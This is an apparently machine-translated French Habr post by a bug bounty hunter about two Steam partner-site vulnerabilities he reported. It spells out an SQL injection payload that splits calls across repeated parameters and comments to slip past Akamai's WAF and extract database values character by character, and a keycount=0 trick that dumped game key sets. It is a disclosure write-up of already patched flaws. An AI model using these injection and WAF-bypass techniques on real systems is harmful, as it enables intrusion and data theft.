Comment j'ai piraté Steam. Deux fois

Bonjour, Habr! Aujourd'hui, je vais vous expliquer pourquoi Valve a payé les primes les plus importantes de l'histoire de son programme de récompense pour les vulnérabilités. Bienvenue au chat!



1. Injection SQL


Le service partner.steampowered.com est conçu pour recevoir des informations financières des partenaires Steam. Sur la page du rapport des ventes, un graphique est dessiné avec des boutons qui modifient la période d'affichage des statistiques. Les voici dans le rectangle vert:



La demande de téléchargement de statistiques ressemble à ceci:


où "UA" est le code du pays.

Eh bien, il est temps de faire des devis!
Essayons "UA":



Les statistiques ne sont PAS revenues, ce qui est à prévoir.

Maintenant «UA» »:



Les statistiques sont de retour et cela ressemble à une injection!

Pourquoi?
Disons que l'instruction de base de données ressemble à ceci:

SELECT * FROM countries WHERE country_code = `UA`; 

Si vous envoyez UA ', l'instruction de base de données sera:

 SELECT * FROM countries WHERE country_code = `UA``; 

Vous avez remarqué un devis supplémentaire? Et cela signifie que l'instruction n'est pas valide.
Selon la syntaxe SQL, la requête ci-dessous est complètement valide (il n'y a pas de guillemets supplémentaires):

 SELECT * FROM countries WHERE country_code = `UA```; 

Veuillez noter que nous avons affaire à un tableau de countryFilter [] . J'ai supposé que si nous dupliquions le paramètre countryFilter [] dans la requête plusieurs fois, toutes les valeurs que nous envoyions seraient combinées dans la requête SQL de cette manière:

 'value1', 'value2', 'value3' 

Nous vérifions et nous assurons:



En fait, nous avons demandé des statistiques à trois pays de la base de données:

 `UA`, `,` ,`RU` 

La syntaxe est correcte - les statistiques sont de retour :)

Contournement du pare-feu d'application Web

Les serveurs Steam se cachent derrière Akamai WAF. Cette honte insère des bâtons dans les roues des bons (et pas si) pirates. Cependant, j'ai pu le surmonter en combinant les valeurs du tableau en une seule requête (ce que j'ai expliqué ci-dessus) et en commentant. Tout d'abord, assurez-vous que ce dernier est disponible:

 ?countryFilter[]=UA`/*&countryFilter[]=*/,`RU 

La demande est valide, il y a donc des commentaires dans notre assortiment.
Nous avions plusieurs options de syntaxe, des bases de données locales pour tester les charges utiles, des caractères de commentaire et un nombre infini de citations pour tous les encodages, ainsi que des scripts auto-écrits sur python, de la documentation pour toutes les bases de données, des instructions sur la façon de contourner les pare-feu, wikipedia et antichest. Ce n'est pas que c'était une réserve nécessaire pour la promotion des injections, mais depuis qu'il a commencé à casser la base de données, il est difficile d'arrêter ...
WAF bloque une demande lorsqu'il y rencontre une fonction. Saviez-vous que DB_NAME / ** / () est un appel de fonction valide? Le pare-feu connaît et bloque également. Mais, grâce à cette fonctionnalité, nous pouvons diviser l'appel de fonction en deux paramètres!

 ?countryFilter[]=UA',DB_NAME/*&countryFilter[]=*/(),'RU 

Nous avons envoyé une demande avec DB_NAME / * de toute façon * / () - WAF n'a rien compris, mais la base de données a réussi à traiter une telle instruction.

Récupération des valeurs d'une base de données

Ainsi, un exemple d'obtention de la longueur d'une valeur DB_NAME ():

 https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),' 

En SQL:

 SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END 

Eh bien, humainement:

   DB_NAME()  "1",   “UA”,   “qwerty”. 

Cela signifie que si la comparaison est vraie, alors en retour, nous obtenons des statistiques pour le pays «UA». Il n'est pas difficile de deviner qu'en passant des valeurs de 1 à l'infini, nous trouverons tôt ou tard la bonne.

De la même manière, vous pouvez parcourir les valeurs de texte:

    DB_NAME()  “a”,  "UA",  "qwerty". 

Habituellement, la fonction «sous-chaîne» est utilisée pour obtenir le Nième caractère, mais WAF l'a obstinément bloqué. Ici, la combinaison est venue à la rescousse:

 right(left(system_user,N),1) 

Comment ça marche? Nous obtenons N caractères de la valeur de system_user dont nous prenons le dernier.
Imaginez que system_user = "steam". Voici à quoi ressemblera le troisième personnage:

 left(system_user,3) = ste right(“ste”,1) = e 

Avec un script simple, ce processus a été automatisé et j'ai obtenu le nom d'hôte, l'utilisateur_système, la version et les noms de toutes les bases de données. Cette information est plus que suffisante (cette dernière est même superflue, mais elle était intéressante) pour démontrer la criticité.

Après 5 heures, la vulnérabilité a été corrigée, mais le statut trié lui a été fixé après 8 heures et, bon sang, pour moi, il a été très difficile de 3 heures pour lesquelles mon cerveau a réussi à survivre aux étapes du déni à l'acceptation.

Explication de la paranoïa
La vulnérabilité n'ayant pas été désignée comme acceptée, je pensais que la ligne n'avait pas encore atteint mon rapport. Mais ils ont corrigé le bogue, ce qui signifie qu'ils auraient pu l'enregistrer avant moi.

2. Obtenir toutes les clés de n'importe quel jeu


Dans l'interface du partenaire Steam, il existe une fonctionnalité pour générer des clés de jeu.
Vous pouvez télécharger le jeu de clés généré à l'aide de la demande:

 https://partner.steamgames.com/partnercdkeys/assignkeys/ &sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download 

Dans cette demande, le paramètre keyid est l'id de l'ensemble de clés et keycount est le nombre de clés qui doivent être obtenues à partir de cet ensemble.

Bien sûr, mes mains se sont immédiatement étendues pour conduire dans différents keyid , mais une erreur m'attendait: « Impossible de générer des clés de CD: Aucune affectation pour l'utilisateur. ". Il s'est avéré que tout n'était pas si simple, et Steam a vérifié si je possédais le jeu de clés demandé. Comment ai-je pu contourner ce test? Attention ...

 keycount=0 

Un fichier a été généré avec 36 000 clés du jeu Portal 2. Wow.
Ce n'est que dans un jeu que ce nombre de clés. Et tous les ensembles en ce moment plus de 430 000. Ainsi, en triant les valeurs de keyid, j'étais un attaquant potentiel qui pouvait télécharger toutes les clés jamais générées par les développeurs de jeux Steam.

Conclusions


  • Les systèmes WAF coûteux des plus grandes entreprises sont loin de garantir la sécurité de vos applications Web.
  • Si vous êtes un chasseur d'insectes, essayez de pénétrer le plus profondément possible. Moins les utilisateurs ont accès à une interface, plus il est probable qu'il trouve une vulnérabilité dans cette interface.
  • Développeurs et propriétaires d'entreprise, il n'y a pas d'applications absolument sûres! Mais vous tenez bon. Bonne humeur!

Mais sérieusement
Faites des pentests, payez pour les vulnérabilités, réfléchissez de manière stratégique.

Source: https://habr.com/ru/post/fr421215/


All Articles